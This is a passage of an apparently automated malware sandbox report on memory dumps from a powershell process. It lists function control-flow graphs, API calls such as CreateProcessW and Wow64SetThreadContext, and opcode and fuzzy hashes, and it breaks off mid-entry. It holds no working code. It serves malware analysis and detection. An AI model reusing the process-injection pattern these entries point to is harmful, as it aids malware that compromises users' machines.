                                                                                    control_flow_graph 718 217bc4-217c49 719 217c51-217c58 718->719 720 217c4b-217c4e 718->720 721 217c63-217c79 719->721 722 217c5a-217c60 719->722 720->719 723 217c84-217d27 CreateProcessW 721->723 724 217c7b-217c81 721->724 722->721 726 217d30-217da8 723->726 727 217d29-217d2f 723->727 724->723 734 217dba-217dc1 726->734 735 217daa-217db0 726->735 727->726 736 217dc3-217dd2 734->736 737 217dd8 734->737 735->734 736->737 739 217dd9 737->739 739->739
                                                                                    APIs
                                                                                    • CreateProcessW.KERNEL32(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00217D14
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412050213.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_210000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID: CreateProcess
                                                                                    • String ID:
                                                                                    • API String ID: 963392458-0
                                                                                    • Opcode ID: 145def97104a92e234714cc7265d5169fd7138475dee91f8f4f5448ff9ee2375
                                                                                    • Instruction ID: 3c6fcbcd635d43b1d6dad219194de645a9152b4a0643c817eca2274101f768ea
                                                                                    • Opcode Fuzzy Hash: 145def97104a92e234714cc7265d5169fd7138475dee91f8f4f5448ff9ee2375
                                                                                    • Instruction Fuzzy Hash: 83512A7190125ADFEF24CF99C980BEDBBB1BF48304F1085AAE909B7250D7719A94CF90
                                                                                    Function 002163C0 Relevance: 1.7, APIs: 1, Instructions: 156processCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 740 2163c0-217c49 742 217c51-217c58 740->742 743 217c4b-217c4e 740->743 744 217c63-217c79 742->744 745 217c5a-217c60 742->745 743->742 746 217c84-217d27 CreateProcessW 744->746 747 217c7b-217c81 744->747 745->744 749 217d30-217da8 746->749 750 217d29-217d2f 746->750 747->746 757 217dba-217dc1 749->757 758 217daa-217db0 749->758 750->749 759 217dc3-217dd2 757->759 760 217dd8 757->760 758->757 759->760 762 217dd9 760->762 762->762
                                                                                    APIs
                                                                                    • CreateProcessW.KERNEL32(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00217D14
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412050213.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_210000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID: CreateProcess
                                                                                    • String ID:
                                                                                    • API String ID: 963392458-0
                                                                                    • Opcode ID: b719620d6b62ce841033cafb2ef6f105f5379987f986ac4c2077272ccefd58bd
                                                                                    • Instruction ID: aab69f2aa555bd1a7f92dcc22974ab170438c2e7db303243ef4807ebcfb5673d
                                                                                    • Opcode Fuzzy Hash: b719620d6b62ce841033cafb2ef6f105f5379987f986ac4c2077272ccefd58bd
                                                                                    • Instruction Fuzzy Hash: 1151097190121ADFEF24CF99C980BEDBBB5BF48304F1085AAE909B7250D7759A94CF90
                                                                                    Function 00217E08 Relevance: 1.6, APIs: 1, Instructions: 60threadCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 763 217e08-217e50 764 217e52-217e5a 763->764 765 217e5c-217e88 Wow64SetThreadContext 763->765 764->765 766 217e91-217eb2 765->766 767 217e8a-217e90 765->767 767->766
                                                                                    APIs
                                                                                    • Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,00217543), ref: 00217E7B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412050213.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_210000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID: ContextThreadWow64
                                                                                    • String ID:
                                                                                    • API String ID: 983334009-0
                                                                                    • Opcode ID: 4aa6a80d4a8c450b704eac2465d2ca30dd0bee72a28ba1a0c5b58834c62a34d4
                                                                                    • Instruction ID: 34393a3ae69393332e1bf89783a539ff5190f0f55c082af003c32bf327932d91
                                                                                    • Opcode Fuzzy Hash: 4aa6a80d4a8c450b704eac2465d2ca30dd0bee72a28ba1a0c5b58834c62a34d4
                                                                                    • Instruction Fuzzy Hash: C21137B2D1424A8FDB10CFAAC845BEEFFF4EB89310F14856AD458A3250D3789945CFA1
                                                                                    Function 002163F0 Relevance: 1.6, APIs: 1, Instructions: 57threadCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 776 2163f0-217e50 778 217e52-217e5a 776->778 779 217e5c-217e88 Wow64SetThreadContext 776->779 778->779 780 217e91-217eb2 779->780 781 217e8a-217e90 779->781 781->780
                                                                                    APIs
                                                                                    • Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,00217543), ref: 00217E7B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412050213.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_210000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID: ContextThreadWow64
                                                                                    • String ID:
                                                                                    • API String ID: 983334009-0
                                                                                    • Opcode ID: 16770f33474e8f597e95efbbcc465885715e23a46e1b89c0a0271af6a7d82468
                                                                                    • Instruction ID: f642b39590c38c1be246b3524643af510a858300a272a726de417347ae391fc9
                                                                                    • Opcode Fuzzy Hash: 16770f33474e8f597e95efbbcc465885715e23a46e1b89c0a0271af6a7d82468
                                                                                    • Instruction Fuzzy Hash: 7F1129B2D1420A8FDB10CF9AC844BDEFBF4EB88310F14856AD418A3250D378A955CFA5
                                                                                    Function 002163CC Relevance: 1.6, APIs: 1, Instructions: 57threadCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 769 2163cc-217e50 771 217e52-217e5a 769->771 772 217e5c-217e88 Wow64SetThreadContext 769->772 771->772 773 217e91-217eb2 772->773 774 217e8a-217e90 772->774 774->773
                                                                                    APIs
                                                                                    • Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,00217543), ref: 00217E7B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412050213.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_210000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID: ContextThreadWow64
                                                                                    • String ID:
                                                                                    • API String ID: 983334009-0
                                                                                    • Opcode ID: 40e6963173f05c1ed8571623e7b53e623eab861e2c736b491e9c0521f83b560e
                                                                                    • Instruction ID: d6e03606904ef7b9769dc1af3ff49339a6faaaf6f277ad044998cf08e7851b9c
                                                                                    • Opcode Fuzzy Hash: 40e6963173f05c1ed8571623e7b53e623eab861e2c736b491e9c0521f83b560e
                                                                                    • Instruction Fuzzy Hash: F81126B2D1420A8FDB10CF9AC844BDEFBF4EB88310F14856AD418A3250D378A995CFA5
                                                                                    Function 002D0000 Relevance: 1.3, Strings: 1, Instructions: 43COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 783 2d0000-2d005e 786 2d0068-2d006e 783->786 787 2d0070 786->787 788 2d0072-2d0074 786->788 789 2d007e 787->789 788->789
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: <8&
                                                                                    • API String ID: 0-396557536
                                                                                    • Opcode ID: 568e743e5b89d316728c1623baef1506abb52f52e7525338364ae0024b808a5d
                                                                                    • Instruction ID: 6bcc5e635223b5af5b83e1b5e30d3773108cfdb179fd6527e7ca35b4c4228eed
                                                                                    • Opcode Fuzzy Hash: 568e743e5b89d316728c1623baef1506abb52f52e7525338364ae0024b808a5d
                                                                                    • Instruction Fuzzy Hash: C001809295E3C25FD303437048692507F719F97245B5A4ADBC482CF2F3E65C585AC763
                                                                                    Function 002D2520 Relevance: .5, Instructions: 453COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 973 2d2520-2d2542 974 2d26bf-2d270a 973->974 975 2d2548-2d254d 973->975 982 2d2865-2d28aa 974->982 983 2d2710-2d2715 974->983 976 2d254f-2d2555 975->976 977 2d2565-2d2571 975->977 978 2d2559-2d2563 976->978 979 2d2557 976->979 991 2d266a-2d2674 977->991 992 2d2577-2d257a 977->992 978->977 979->977 995 2d2a54-2d2a84 982->995 996 2d28b0-2d28b5 982->996 985 2d272d-2d2731 983->985 986 2d2717-2d271d 983->986 993 2d2737-2d273b 985->993 994 2d2810-2d281a 985->994 989 2d271f 986->989 990 2d2721-2d272b 986->990 989->985 990->985 999 2d2676-2d267f 991->999 1000 2d2682-2d2688 991->1000 992->991 1001 2d2580-2d2587 992->1001 1002 2d273d-2d274e 993->1002 1003 2d277b 993->1003 997 2d281c-2d2825 994->997 998 2d2828-2d282e 994->998 1054 2d2abd-2d2ac7 995->1054 1055 2d2a86-2d2aa3 995->1055 1004 2d28cd-2d28d1 996->1004 1005 2d28b7-2d28bd 996->1005 1006 2d2834-2d2840 998->1006 1007 2d2830-2d2832 998->1007 1009 2d268e-2d269a 1000->1009 1010 2d268a-2d268c 1000->1010 1001->974 1012 2d258d-2d2592 1001->1012 1002->982 1024 2d2754-2d2759 1002->1024 1008 2d277d-2d277f 1003->1008 1018 2d29fc-2d2a06 1004->1018 1019 2d28d7-2d28db 1004->1019 1014 2d28bf 1005->1014 1015 2d28c1-2d28cb 1005->1015 1017 2d2842-2d2862 1006->1017 1007->1017 1008->994 1020 2d2785-2d2789 1008->1020 1021 2d269c-2d26bc 1009->1021 1010->1021 1022 2d25aa-2d25ae 1012->1022 1023 2d2594-2d259a 1012->1023 1014->1004 1015->1004 1025 2d2a08-2d2a11 1018->1025 1026 2d2a14-2d2a1a 1018->1026 1027 2d28dd-2d28ee 1019->1027 1028 2d291b 1019->1028 1020->994 1029 2d278f-2d279e 1020->1029 1022->991 1033 2d25b4-2d25b8 1022->1033 1031 2d259c 1023->1031 1032 2d259e-2d25a8 1023->1032 1035 2d275b-2d2761 1024->1035 1036 2d2771-2d2779 1024->1036 1038 2d2a1c-2d2a1e 1026->1038 1039 2d2a20-2d2a2c 1026->1039 1027->995 1058 2d28f4-2d28f9 1027->1058 1043 2d291d-2d291f 1028->1043 1059 2d27b6-2d280d 1029->1059 1060 2d27a0-2d27a6 1029->1060 1031->1022 1032->1022 1041 2d25d8 1033->1041 1042 2d25ba-2d25d6 1033->1042 1046 2d2765-2d276f 1035->1046 1047 2d2763 1035->1047 1036->1008 1050 2d2a2e-2d2a51 1038->1050 1039->1050 1053 2d25da-2d25dc 1041->1053 1042->1053 1043->1018 1052 2d2925-2d2929 1043->1052 1046->1036 1047->1036 1052->1018 1064 2d292f-2d2933 1052->1064 1053->991 1065 2d25e2-2d25ef 1053->1065 1056 2d2ac9-2d2acd 1054->1056 1057 2d2ad0-2d2ad6 1054->1057 1083 2d2b0d-2d2b12 1055->1083 1084 2d2aa5-2d2ab7 1055->1084 1067 2d2adc-2d2ae8 1057->1067 1068 2d2ad8-2d2ada 1057->1068 1070 2d28fb-2d2901 1058->1070 1071 2d2911-2d2919 1058->1071 1072 2d27a8 1060->1072 1073 2d27aa-2d27ac 1060->1073 1064->1018 1076 2d2939-2d295f 1064->1076 1088 2d25f6-2d25f8 1065->1088 1078 2d2aea-2d2b0a 1067->1078 1068->1078 1079 2d2905-2d290f 1070->1079 1080 2d2903 1070->1080 1071->1043 1072->1059 1073->1059 1076->1018 1099 2d2965-2d2969 1076->1099 1079->1071 1080->1071 1083->1084 1084->1054 1092 2d25fa-2d2600 1088->1092 1093 2d2610-2d2667 1088->1093 1095 2d2604-2d2606 1092->1095 1096 2d2602 1092->1096 1095->1093 1096->1093 1100 2d298c 1099->1100 1101 2d296b-2d2974 1099->1101 1104 2d298f-2d299c 1100->1104 1102 2d297b-2d2988 1101->1102 1103 2d2976-2d2979 1101->1103 1105 2d298a 1102->1105 1103->1105 1107 2d29a2-2d29f9 1104->1107 1105->1104
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 8cc069029e12ff2dce6a96519ac9a2c78305dec9d033e9264e9f218012188e9d
                                                                                    • Instruction ID: 9c201dd1667110b90fb3653586845139db935277e3c7563b582bcf34e1fe9527
                                                                                    • Opcode Fuzzy Hash: 8cc069029e12ff2dce6a96519ac9a2c78305dec9d033e9264e9f218012188e9d
                                                                                    • Instruction Fuzzy Hash: 6CE1E630B24206DFDB259F64C450BAABBA1FFA5311F24C46BD8158B391DB71CC69CBA1
                                                                                    Function 002D287C Relevance: .1, Instructions: 88COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1109 2d287c-2d28aa 1110 2d2a54-2d2a84 1109->1110 1111 2d28b0-2d28b5 1109->1111 1129 2d2abd-2d2ac7 1110->1129 1130 2d2a86-2d2aa3 1110->1130 1112 2d28cd-2d28d1 1111->1112 1113 2d28b7-2d28bd 1111->1113 1117 2d29fc-2d2a06 1112->1117 1118 2d28d7-2d28db 1112->1118 1114 2d28bf 1113->1114 1115 2d28c1-2d28cb 1113->1115 1114->1112 1115->1112 1119 2d2a08-2d2a11 1117->1119 1120 2d2a14-2d2a1a 1117->1120 1121 2d28dd-2d28ee 1118->1121 1122 2d291b 1118->1122 1126 2d2a1c-2d2a1e 1120->1126 1127 2d2a20-2d2a2c 1120->1127 1121->1110 1137 2d28f4-2d28f9 1121->1137 1123 2d291d-2d291f 1122->1123 1123->1117 1128 2d2925-2d2929 1123->1128 1132 2d2a2e-2d2a51 1126->1132 1127->1132 1128->1117 1136 2d292f-2d2933 1128->1136 1134 2d2ac9-2d2acd 1129->1134 1135 2d2ad0-2d2ad6 1129->1135 1148 2d2b0d-2d2b12 1130->1148 1149 2d2aa5-2d2ab7 1130->1149 1138 2d2adc-2d2ae8 1135->1138 1139 2d2ad8-2d2ada 1135->1139 1136->1117 1141 2d2939-2d295f 1136->1141 1143 2d28fb-2d2901 1137->1143 1144 2d2911-2d2919 1137->1144 1147 2d2aea-2d2b0a 1138->1147 1139->1147 1141->1117 1158 2d2965-2d2969 1141->1158 1145 2d2905-2d290f 1143->1145 1146 2d2903 1143->1146 1144->1123 1145->1144 1146->1144 1148->1149 1149->1129 1159 2d298c 1158->1159 1160 2d296b-2d2974 1158->1160 1163 2d298f-2d299c 1159->1163 1161 2d297b-2d2988 1160->1161 1162 2d2976-2d2979 1160->1162 1164 2d298a 1161->1164 1162->1164 1166 2d29a2-2d29f9 1163->1166 1164->1163
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 4beb0ada71e1e8319706d92eda445e9f5a34c25f3a5361026f88d91badd6a083
                                                                                    • Instruction ID: 4c02271833fee2f294a14d5c42e0465e8e02548a9497cb13935271a7564d28d1
                                                                                    • Opcode Fuzzy Hash: 4beb0ada71e1e8319706d92eda445e9f5a34c25f3a5361026f88d91badd6a083
                                                                                    • Instruction Fuzzy Hash: 8B317130A2020ADFDB64DE15C855BEAB7A1BB64310F248067E815973D0C7B1DDA9DB61
                                                                                    Function 002D2500 Relevance: .1, Instructions: 85COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1168 2d2500-2d2514 1170 2d256c-2d2571 1168->1170 1171 2d2516-2d2542 1168->1171 1180 2d266a-2d2674 1170->1180 1181 2d2577-2d257a 1170->1181 1172 2d26bf-2d270a 1171->1172 1173 2d2548-2d254d 1171->1173 1182 2d2865-2d28aa 1172->1182 1183 2d2710-2d2715 1172->1183 1174 2d254f-2d2555 1173->1174 1175 2d2565-2d2569 1173->1175 1177 2d2559-2d2563 1174->1177 1178 2d2557 1174->1178 1175->1170 1177->1175 1178->1175 1184 2d2676-2d267f 1180->1184 1185 2d2682-2d2688 1180->1185 1181->1180 1186 2d2580-2d2587 1181->1186 1201 2d2a54-2d2a84 1182->1201 1202 2d28b0-2d28b5 1182->1202 1188 2d272d-2d2731 1183->1188 1189 2d2717-2d271d 1183->1189 1190 2d268e-2d269a 1185->1190 1191 2d268a-2d268c 1185->1191 1186->1172 1192 2d258d-2d2592 1186->1192 1197 2d2737-2d273b 1188->1197 1198 2d2810-2d281a 1188->1198 1194 2d271f 1189->1194 1195 2d2721-2d272b 1189->1195 1196 2d269c-2d26bc 1190->1196 1191->1196 1199 2d25aa-2d25ae 1192->1199 1200 2d2594-2d259a 1192->1200 1194->1188 1195->1188 1207 2d273d-2d274e 1197->1207 1208 2d277b 1197->1208 1204 2d281c-2d2825 1198->1204 1205 2d2828-2d282e 1198->1205 1199->1180 1203 2d25b4-2d25b8 1199->1203 1209 2d259c 1200->1209 1210 2d259e-2d25a8 1200->1210 1255 2d2abd-2d2ac7 1201->1255 1256 2d2a86-2d2aa3 1201->1256 1212 2d28cd-2d28d1 1202->1212 1213 2d28b7-2d28bd 1202->1213 1214 2d25d8 1203->1214 1215 2d25ba-2d25d6 1203->1215 1216 2d2834-2d2840 1205->1216 1217 2d2830-2d2832 1205->1217 1207->1182 1230 2d2754-2d2759 1207->1230 1218 2d277d-2d277f 1208->1218 1209->1199 1210->1199 1226 2d29fc-2d2a06 1212->1226 1227 2d28d7-2d28db 1212->1227 1222 2d28bf 1213->1222 1223 2d28c1-2d28cb 1213->1223 1229 2d25da-2d25dc 1214->1229 1215->1229 1225 2d2842-2d2862 1216->1225 1217->1225 1218->1198 1228 2d2785-2d2789 1218->1228 1222->1212 1223->1212 1231 2d2a08-2d2a11 1226->1231 1232 2d2a14-2d2a1a 1226->1232 1233 2d28dd-2d28ee 1227->1233 1234 2d291b 1227->1234 1228->1198 1235 2d278f-2d279e 1228->1235 1229->1180 1239 2d25e2-2d25e5 1229->1239 1240 2d275b-2d2761 1230->1240 1241 2d2771-2d2779 1230->1241 1243 2d2a1c-2d2a1e 1232->1243 1244 2d2a20-2d2a2c 1232->1244 1233->1201 1260 2d28f4-2d28f9 1233->1260 1245 2d291d-2d291f 1234->1245 1261 2d27b6-2d280d 1235->1261 1262 2d27a0-2d27a6 1235->1262 1257 2d25ef 1239->1257 1248 2d2765-2d276f 1240->1248 1249 2d2763 1240->1249 1241->1218 1252 2d2a2e-2d2a51 1243->1252 1244->1252 1245->1226 1253 2d2925-2d2929 1245->1253 1248->1241 1249->1241 1253->1226 1264 2d292f-2d2933 1253->1264 1258 2d2ac9-2d2acd 1255->1258 1259 2d2ad0-2d2ad6 1255->1259 1283 2d2b0d-2d2b12 1256->1283 1284 2d2aa5-2d2ab7 1256->1284 1266 2d25f6-2d25f8 1257->1266 1267 2d2adc-2d2ae8 1259->1267 1268 2d2ad8-2d2ada 1259->1268 1270 2d28fb-2d2901 1260->1270 1271 2d2911-2d2919 1260->1271 1272 2d27a8 1262->1272 1273 2d27aa-2d27ac 1262->1273 1264->1226 1276 2d2939-2d295f 1264->1276 1278 2d25fa-2d2600 1266->1278 1279 2d2610-2d2667 1266->1279 1280 2d2aea-2d2b0a 1267->1280 1268->1280 1281 2d2905-2d290f 1270->1281 1282 2d2903 1270->1282 1271->1245 1272->1261 1273->1261 1276->1226 1296 2d2965-2d2969 1276->1296 1285 2d2604-2d2606 1278->1285 1286 2d2602 1278->1286 1281->1271 1282->1271 1283->1284 1284->1255 1285->1279 1286->1279 1297 2d298c 1296->1297 1298 2d296b-2d2974 1296->1298 1301 2d298f-2d299c 1297->1301 1299 2d297b-2d2988 1298->1299 1300 2d2976-2d2979 1298->1300 1302 2d298a 1299->1302 1300->1302 1304 2d29a2-2d29f9 1301->1304 1302->1301
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 283637748816a06e98a5e310f281b5597ad54e9058c1b57500c9baee4d942be0
                                                                                    • Instruction ID: 4c30a19eb093d94c4b3c074125916b63924859f95b8d89d3015eb0e1958e8d41
                                                                                    • Opcode Fuzzy Hash: 283637748816a06e98a5e310f281b5597ad54e9058c1b57500c9baee4d942be0
                                                                                    • Instruction Fuzzy Hash: 8221BF30A24306DFCB289F34C461B697BB5AF65321F1481A7E4188B3A1D774DCA9CBA1
                                                                                    Function 002D2888 Relevance: .1, Instructions: 81COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1306 2d2888-2d28aa 1307 2d2a54-2d2a84 1306->1307 1308 2d28b0-2d28b5 1306->1308 1326 2d2abd-2d2ac7 1307->1326 1327 2d2a86-2d2aa3 1307->1327 1309 2d28cd-2d28d1 1308->1309 1310 2d28b7-2d28bd 1308->1310 1314 2d29fc-2d2a06 1309->1314 1315 2d28d7-2d28db 1309->1315 1311 2d28bf 1310->1311 1312 2d28c1-2d28cb 1310->1312 1311->1309 1312->1309 1316 2d2a08-2d2a11 1314->1316 1317 2d2a14-2d2a1a 1314->1317 1318 2d28dd-2d28ee 1315->1318 1319 2d291b 1315->1319 1323 2d2a1c-2d2a1e 1317->1323 1324 2d2a20-2d2a2c 1317->1324 1318->1307 1334 2d28f4-2d28f9 1318->1334 1320 2d291d-2d291f 1319->1320 1320->1314 1325 2d2925-2d2929 1320->1325 1329 2d2a2e-2d2a51 1323->1329 1324->1329 1325->1314 1333 2d292f-2d2933 1325->1333 1331 2d2ac9-2d2acd 1326->1331 1332 2d2ad0-2d2ad6 1326->1332 1345 2d2b0d-2d2b12 1327->1345 1346 2d2aa5-2d2ab7 1327->1346 1335 2d2adc-2d2ae8 1332->1335 1336 2d2ad8-2d2ada 1332->1336 1333->1314 1338 2d2939-2d295f 1333->1338 1340 2d28fb-2d2901 1334->1340 1341 2d2911-2d2919 1334->1341 1344 2d2aea-2d2b0a 1335->1344 1336->1344 1338->1314 1355 2d2965-2d2969 1338->1355 1342 2d2905-2d290f 1340->1342 1343 2d2903 1340->1343 1341->1320 1342->1341 1343->1341 1345->1346 1346->1326 1356 2d298c 1355->1356 1357 2d296b-2d2974 1355->1357 1360 2d298f-2d299c 1356->1360 1358 2d297b-2d2988 1357->1358 1359 2d2976-2d2979 1357->1359 1361 2d298a 1358->1361 1359->1361 1363 2d29a2-2d29f9 1360->1363 1361->1360
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: b14e732b82f146f941aaad33aa99e28cc6023e8a7b34f1c71184ba7ff200129d
                                                                                    • Instruction ID: 0d618c3427f8142ef1659a431ed7a0ed983dffb0f82e8d031df247fef1a1e755
                                                                                    • Opcode Fuzzy Hash: b14e732b82f146f941aaad33aa99e28cc6023e8a7b34f1c71184ba7ff200129d
                                                                                    • Instruction Fuzzy Hash: 26319E30A2020ADFDB64CF19C854BAAB7B1BB64310F248067E4058B3D0C7B1DDA9DB61
                                                                                    Function 002D1B8D Relevance: .1, Instructions: 58COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 898e77163e0afec2bfb03a3499339e0e7351007d2e0bc61670ba02a3afd2b963
                                                                                    • Instruction ID: 92e81c61e83d0f88c4f35e3a29ae7fa207326b7a86aba398ecba2cdf85b408d7
                                                                                    • Opcode Fuzzy Hash: 898e77163e0afec2bfb03a3499339e0e7351007d2e0bc61670ba02a3afd2b963
                                                                                    • Instruction Fuzzy Hash: 1A119134A79206EFCB248F18C44167ABBB5AF50305F2441A7C85597B41E3B18DB1CB93
                                                                                    Function 002D1BA0 Relevance: .0, Instructions: 50COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 508bdc96888ce89121b099349f0f3c90cf1729cdd5b4c447f2435fb38515861d
                                                                                    • Instruction ID: f3e5281acd926bae395c3f7b143c4c0af54f181c6f89e2285a58fa54448221cb
                                                                                    • Opcode Fuzzy Hash: 508bdc96888ce89121b099349f0f3c90cf1729cdd5b4c447f2435fb38515861d
                                                                                    • Instruction Fuzzy Hash: 11018031A7420AEFCB288F19C50067AB7B5AFA4315F248067D8159BB40E3B1DDB0CB93
                                                                                    Function 0015D01D Relevance: .0, Instructions: 45COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412021982.000000000015D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0015D000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_15d000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 2b5538a6a97462b72d1291210073d960fb134f096075c6e9fbca752c2cac2135
                                                                                    • Instruction ID: b15f75169391719c77a1fd45c7d87790d95352dbbf97f9df3bd01e3b3a95a523
                                                                                    • Opcode Fuzzy Hash: 2b5538a6a97462b72d1291210073d960fb134f096075c6e9fbca752c2cac2135
                                                                                    • Instruction Fuzzy Hash: 4F01DF31104340EBE7208A26E884B66FB98EB41361F28845AFC594E2C6C379984ACBB1
                                                                                    Function 0015D006 Relevance: .0, Instructions: 43COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412021982.000000000015D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0015D000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_15d000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 2955ba6816bc819ef4f67366fe49448d17280d3722a0bcaeb8f9e6105d8b65d1
                                                                                    • Instruction ID: 48b25521cdea118ae699889a704dab2c51bbba8aa6a9f13c88189f49905d07fd
                                                                                    • Opcode Fuzzy Hash: 2955ba6816bc819ef4f67366fe49448d17280d3722a0bcaeb8f9e6105d8b65d1
                                                                                    • Instruction Fuzzy Hash: 1D01526150D3C09FD7128B259C94752BFB4DF53225F1980DBEC988F2D7C2695849CB72

                                                                                    Non-executed Functions

                                                                                    Function 0021537A Relevance: .1, Instructions: 96COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412050213.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_210000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 63b27a34980ef7cd0431b9b1bd09ea237c65252a9c5fd544169f5c9f7cfe5ffd
                                                                                    • Instruction ID: 3f50da0dc4d2f60167d08a8c59c858d863955deced283961e3b4ef7a026057f4
